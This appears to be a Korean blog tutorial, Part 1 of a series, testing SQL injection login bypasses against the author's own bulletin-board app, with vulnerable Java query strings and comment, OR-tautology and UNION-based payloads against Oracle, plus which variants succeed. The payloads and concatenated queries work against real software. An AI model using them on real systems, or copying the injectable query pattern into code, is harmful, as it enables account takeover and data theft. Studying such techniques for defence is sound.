SQL Injection - 로그인 로직 우회 Part 1

심야·2023년 7월 14일
0

개발 중인 게시판의 로그인 과정을 어떻게 우회할 수 있는지 살펴보자.

Login bypass case

식별과 인증을 동시에 하는 로그인 과정과 분리해서 진행하는 로그인 과정이 있다. 두 경우 모두 SQL query 가 사용되는데 로그인을 우회할 수 있는 취약한 경우를 알아보자.

식별, 인증 동시 case

1. 기본 Csee

String query = "SELECT * FROM users WHERE user_id='" + userId + "'" + " AND password='" + userPass + "'"

idpassword 를 입력받는 가장 기본적인 case를 우회하겠다.

공격 구문 - 주석

ID : inmo' -- PW : 1 

결과

로그인 성공!

공격 구문 - OR 연산자

ID : inmo' or '1'='1 PW : 1

결과

로그인 성공!

공격 구문 - 주석 & OR 연산자

ID : inmo' or '1'='1' -- PW : 1

결과

로그인 성공!

공격 구문 - UNION 연산자

ID : injection' union select '1','1','1','1', sysdate from dual -- PW : 1

결과

로그인 성공!

2. \n Query

String query = "SELECT * FROM users WHERE user_id='" + userId + "'" + "\n AND password='" + userPass + "'"

공격 구문 - 주석

ID : inmo' -- PW : 1 

결과

줄 바꿈을 했기 때문에 패스워드 부분을 주석 처리할 수 없다. 따라서 로그인 실패!

공격 구문 - OR 연산자

ID : inmo' or '1'='1 PW : 1

결과

줄 바꿈을 해도 or 연산자로 AND password='userPass' 구문을 우회할 수 있다. 따라서 로그인 성공!

공격 구문 - 주석 & OR 연산자

ID : inmo' or '1'='1' -- PW : 1

결과

줄 바꿈을 해 주석으로 패스워드 구문을 무시할 수 없다. 하지만 OR 연산자로 패스워드 구문을 우회할 수 있어 로그인 성공!

  • 공격 시 질의문
SELECT * FROM users WHERE user_id='inmo' or '1'='1' --
AND password='1'

공격 구문 - UNION 연산자

ID : injection' union select '1','1','1','1', sysdate from dual -- PW : 1

결과

줄 바꿈 된 패스워드 구문을 주석 처리에 실패하여 문법 에러 발생, 따라서 로그인 실패!

Error Msg = ORA-00933: SQL command not properly ended

3. () Query version 1

String query = "SELECT * FROM users WHERE user_id=('" + userId + "')" + " AND password=('" + userPass + "')"

공격 구문 - 주석

ID : inmo' --

결과

Error Msg = ORA-00907: missing right parenthesis

오른쪽 괄호가 생략되어 에러가 발생, 따라서 로그인 실패!

공격 구문 - 주석 & ()

ID : inmo')-- PW : 1

결과

오른쪽 괄호를 닫고 남은 구문은 주석 처리 해 로그인 성공!

공격 구문 - OR 연산자

ID : inmo' or '1'='1 PW : 1

결과

괄호로 인해 ‘1’=’1’ 구문이 패스워드 구문과 AND 연산을 하지 못한다. 따라서 로그인 실패!

  • 공격 시 SQL 질의문
    SELECT * FROM users WHERE user_id=('inmo' or '1'='1') AND password=('123') 

공격 구문 - 주석 & OR & ()

ID : injection') or '1'='1' -- PW : 1

결과

우선 오른쪽 괄호를 닫는다. 그럼 SELECT * FROM users WHERE user_id=('injection') or '1'='1' --

질의문이 완성된다. SELECT * FROM users WHERE user_id=('injection') 질의 결과는 false 그리고 '1'='1' 결과는 true , 두 구문은 OR 연산으로 항상 true 이다. 이후 AND password=('123') 구문은 주석 처리한다. 최종적으로 패스워드 구문을 우회해 로그인 성공!

공격 구문 - UNION 연산자

ID : injection' union select '1','1','1','1', sysdate from dual -- PW : 1

오른쪽 괄호를 닫지않아 로그인 실패!

공격 구문 - UNION & ()

injection' union select '1','1','1','1', sysdate from dual) --

괄호는 닫았으나 UNION 구조에 맞지 않아 문법 에러 발생, 따라서 로그인 실패!

  • 공격 시 SQL 질의문
    SELECT * FROM users WHERE (user_id='injection' union select '1','1','1','1', sysdate from dual) --')

공격 구문 - UNION & () version 2

ID : injection') union select '1','1','1','1', sysdate from dual -- PW : 1

결과

UNION 구조에 맞게 괄호를 닫은 후 공격 시도, 로그인 성공!

4. () Query version 2

String query = "SELECT * FROM users WHERE (user_id='" + userId + "')" + " AND password='" + userPass + "'";

() query 버전 1과 동일한 결과를 얻었다.

5. () & \n Query

String query = "SELECT * FROM users WHERE user_id=('" + userId + "')" +"\n AND password=('" + userPass + "')";

공격 구문 - OR & 주석

ID : inmo') or '1'='1' -- PW : 1
  • 공격 시 질의문
    SELECT * FROM users WHERE user_id=('inmo') or '1'='1' --')
    AND password=('1')

결과

줄 바꿈을 해 주석으로 패스워드 구문을 무시할 수 없다. 하지만 괄호를 닫아 ', ) 구문을 무시하고 OR 연산자로 패스워드 구문을 우회하면 로그인 성공!

공격 구문 - OR & 주석 version 2

inmo') or '1'='1' -- 공격 구문은 아이디를 알고 있을 때만 적용 가능하다. 하지만 아래 공격 구문은 아이디, 비밀번호 모두 몰라도 공격이 가능하다.

ID : injection') or '1'='1' or '1'='1' -- PW : 1
  • 공격 시 질의문
    SELECT * FROM users WHERE user_id=('injection') or '1'='1' or '1'='1' --')
    AND password=('1')

결과

SQL에서 OR 연산자보다 AND 연산자 우선순위가 높다. 따라서 주석으로 ', ) 구문을 무시하고

'1'='1' and password='1' 연산한 결과 falseSELECT * FROM users WHERE user_id=('injection') or '1'='1' 연산한 결과 true 를 OR 연산하면 true 이므로 로그인에 성공한다!

공격 구문 - UNION 연산자

ID : injection' union select '1','1','1','1', sysdate from dual -- PW : 1

결과

괄호가 존재해 로그인 실패!

공격 구문 - UNION & ()

injection') union select '1','1','1','1', sysdate from dual --

결과

줄 바꿈 때문에 주석이 패스워드 구문을 우회할 수 없어 로그인 실패!

profile
하루하루 성실하게, 인생 전체는 되는대로.

0개의 댓글